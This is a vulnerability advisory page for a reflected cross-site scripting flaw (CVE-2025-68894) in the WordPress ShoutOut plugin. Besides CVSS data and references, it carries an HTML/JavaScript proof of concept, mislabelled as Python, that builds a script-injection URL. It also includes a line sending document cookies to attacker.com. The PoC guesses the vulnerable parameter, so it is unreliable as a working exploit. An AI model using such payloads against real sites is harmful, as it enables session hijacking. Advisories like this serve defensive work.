CVE-2025-68894

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in shoutoutglobal ShoutOut shoutout allows Reflected XSS.This issue affects ShoutOut: from n/a through <= 4.0.2.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

ShoutOut插件 <= 4.0.2 (WordPress)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-68894 PoC - Reflected XSS in WordPress ShoutOut Plugin -->
<!-- Target: WordPress site with ShoutOut plugin <= 4.0.2 -->
<!-- Attack Vector: Malicious URL with XSS payload -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-68894 PoC</title>
</head>
<body>
    <h1>CVE-2025-68894 Reflected XSS PoC</h1>
    <p>Target: WordPress ShoutOut Plugin <= 4.0.2</p>
    
    <!-- Malicious URL that triggers the XSS -->
    <p>Attack URL Example:</p>
    <code id="attack-url"></code>
    
    <script>
        // Generate malicious URL targeting the vulnerable parameter
        const targetBase = window.location.origin + '/wp-admin/admin.php';
        const maliciousPayload = '<script>alert("XSS - CVE-2025-68894")</script>';
        
        // Construct attack URL (parameter name may vary based on plugin version)
        const attackUrl = targetBase + '?page=shoutout&param="' + encodeURIComponent(maliciousPayload) + '"';
        
        document.getElementById('attack-url').textContent = attackUrl;
        
        // Display JavaScript payload for demonstration
        console.log('Malicious JavaScript payload that will be executed:');
        console.log('alert(document.cookie); // Steal cookies');
        console.log('fetch("https://attacker.com/steal?c=" + btoa(document.cookie));');
    </script>
    
    <p><strong>Note:</strong> This is a proof-of-concept for educational purposes only.</p>
    <p>The actual vulnerable parameter and endpoint should be identified through source code analysis.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-68894
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-68894
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-68894/
[4] VulDB https://vuldb.com/cve/CVE-2025-68894
[5] https://patchstack.com/database/Wordpress/Plugin/shoutout/vulnerability/wordpress-shoutout-plugin-4-0-2-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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